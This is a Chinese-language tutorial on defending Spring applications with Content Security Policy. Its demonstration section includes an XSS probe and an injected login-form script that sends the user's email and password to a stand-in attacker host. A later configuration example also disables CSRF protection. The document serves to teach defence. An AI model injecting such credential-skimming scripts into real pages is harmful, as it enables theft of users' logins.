2. 内容安全策略 (CSP)
内容安全策略 (CSP) 是一个 HTTP 响应头,它能显著减少 XSS、点击劫持 等代码注入攻击,在现代浏览器中广泛支持。
Web 服务器通过 Content-Security-Policy
头指定浏览器可渲染的资源白名单。这些资源可以是任何浏览器渲染内容,例如 CSS、JavaScript、图片等。
该头部的语法格式为:
Content-Security-Policy: <指令>; <指令>; <指令> ; ...
此外,我们还可以将策略设置为 HTML 页面的 <meta>
标签:
<meta http-equiv="Content-Security-Policy" content="<指令>;<指令>;<指令>; ...">
每个指令包含一个键和多个值,多个指令间用分号 (;) 分隔:
Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';
此处有两个指令(script-src
和 style-src
),其中 script-src
指令有两个值('self'
和 https://baeldung.com
)。
3. 漏洞演示
让我们看看 XSS 和代码注入漏洞可能造成的严重后果。
3.1. 登录表单
Web 应用中,会话超时通常会重定向用户到登录页。标准登录表单包含用户名/密码字段和提交按钮:
<span> 会话超时,请重新登录。</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">登录</button>
</form>
3.2. 代码注入
攻击者可通过表单字段注入恶意代码。例如在注册表单的用户名字段输入:<script>alert("恶意代码执行了")</script>
。当表单回显用户名时,脚本将被执行(此处弹出警告框)。更危险的是,攻击者可能加载外部脚本造成更大破坏。
类似地,若表单字段缺乏验证,攻击者可向 DOM(文档对象模型) 注入恶意 JavaScript:
<span> 会话超时,请重新登录。</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">登录</button>
</form>
<script>
let form= document.forms.login;
form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
+"&p="+document.getElementById('password').value;
</script>
这段注入的脚本会在用户点击 登录 按钮时重定向到恶意站点。当不知情的用户提交表单后,其凭据会被暴露给 https://youaredoomed.com
。
3.3. 演示效果
实际漏洞演示如下:
- 会话超时后,服务器重定向用户到登录页
- 恶意脚本拦截表单提交,将用户凭据重定向到攻击者控制的服务器
- 攻击者成功窃取用户凭据
4. Spring Security 防御方案
4.1. HTML meta 标签方案
在上述示例中添加 Content-Security-Policy
头可阻止表单提交到恶意服务器。通过 <meta>
标签添加策略:
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
添加后,浏览器会阻止表单提交到其他源(浏览器控制台会显示 CSP 违规警告)。
尽管 <meta>
标签能缓解 XSS 和代码注入攻击,但功能有限。例如无法用于报告 CSP 违规行为。
因此,我们改用 Spring Security 设置 Content-Security-Policy
头部来增强防御。
4.2. Maven 依赖
首先在 pom.xml
添加 Spring Security 和 Spring Web 依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
4.3. 安全配置
创建 SecurityFilterChain
Bean 配置 Spring Security:
@Configuration
public class ContentSecurityPolicySecurityConfiguration {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(Customizer.withDefaults())
.xssProtection(Customizer.withDefaults())
.contentSecurityPolicy(contentSecurityPolicyConfig ->
contentSecurityPolicyConfig.policyDirectives("form-action 'self'"));
return http.build();
}
}
此配置将表单提交限制为同源。
4.4. CSP 响应头验证
配置生效后,通过浏览器开发者工具(F12)验证:
- 访问
http://localhost:8080
- 在 Network 标签页检查响应头,应包含
Content-Security-Policy: form-action 'self'
当用户尝试提交表单到恶意站点时:
- 浏览器阻止请求并显示 CSP 违规警告
- 用户凭据不会被泄露
其他常用指令示例:
- 仅允许同源加载脚本:
.contentSecurityPolicy("script-src 'self'");
- 允许同源和指定 CDN 加载 CSS:
.contentSecurityPolicy("style-src 'self' somecdn.css.com");
- 组合多个指令(限制 CSS/JS/表单提交):
.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")
4.5. 违规报告
除了拦截恶意内容,服务器还可要求浏览器发送违规报告。通过 report-uri
指令实现:
浏览器会向指定 URL 发送如下格式的 POST 请求:
{
"csp-report": {
"blocked-uri": "",
"document-uri": "",
"original-policy": "",
"referrer": "",
"violated-directive": ""
}
}
注意:虽然 report-uri
已被 report-to
取代,但多数浏览器尚不支持 report-to
,建议同时使用两者。
更新 Spring Security 配置:
String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http.csrf(AbstractHttpConfigurer::disable)
.authorizeHttpRequests(auth -> auth.requestMatchers("/**").permitAll())
.headers(headers -> headers
.addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection(Customizer.withDefaults())
.contentSecurityPolicy(csp -> csp.policyDirectives(
"form-action 'self'; report-uri /report; report-to csp-violation-report"
))
);
当 CSP 违规发生时:
- 浏览器阻止请求
- 向
/report
端点发送报告(示例日志):Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=user@example.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}
- 格式化后的 JSON 报告:
{ "csp-report": { "blocked-uri": "https://youaredoomed.com:9090/collect?u=user@example.com&p=password", "document-uri": "https://localhost:8080/", "original-policy": "form-action 'self'; report-uri https://localhost:8080/report", "referrer": "", "violated-directive": "form-action" } }
5. 总结
本文展示了如何使用内容安全策略 (CSP) 防御点击劫持、代码注入和 XSS 攻击。
虽然 CSP 无法提供 100% 防护,但能显著缓解大多数攻击。需注意:
- 现代浏览器对 CSP 的支持仍不完善
- 必须结合安全编码实践(如输入验证/输出编码)
- 定期审查 CSP 策略避免误拦截
完整源码见 GitHub 仓库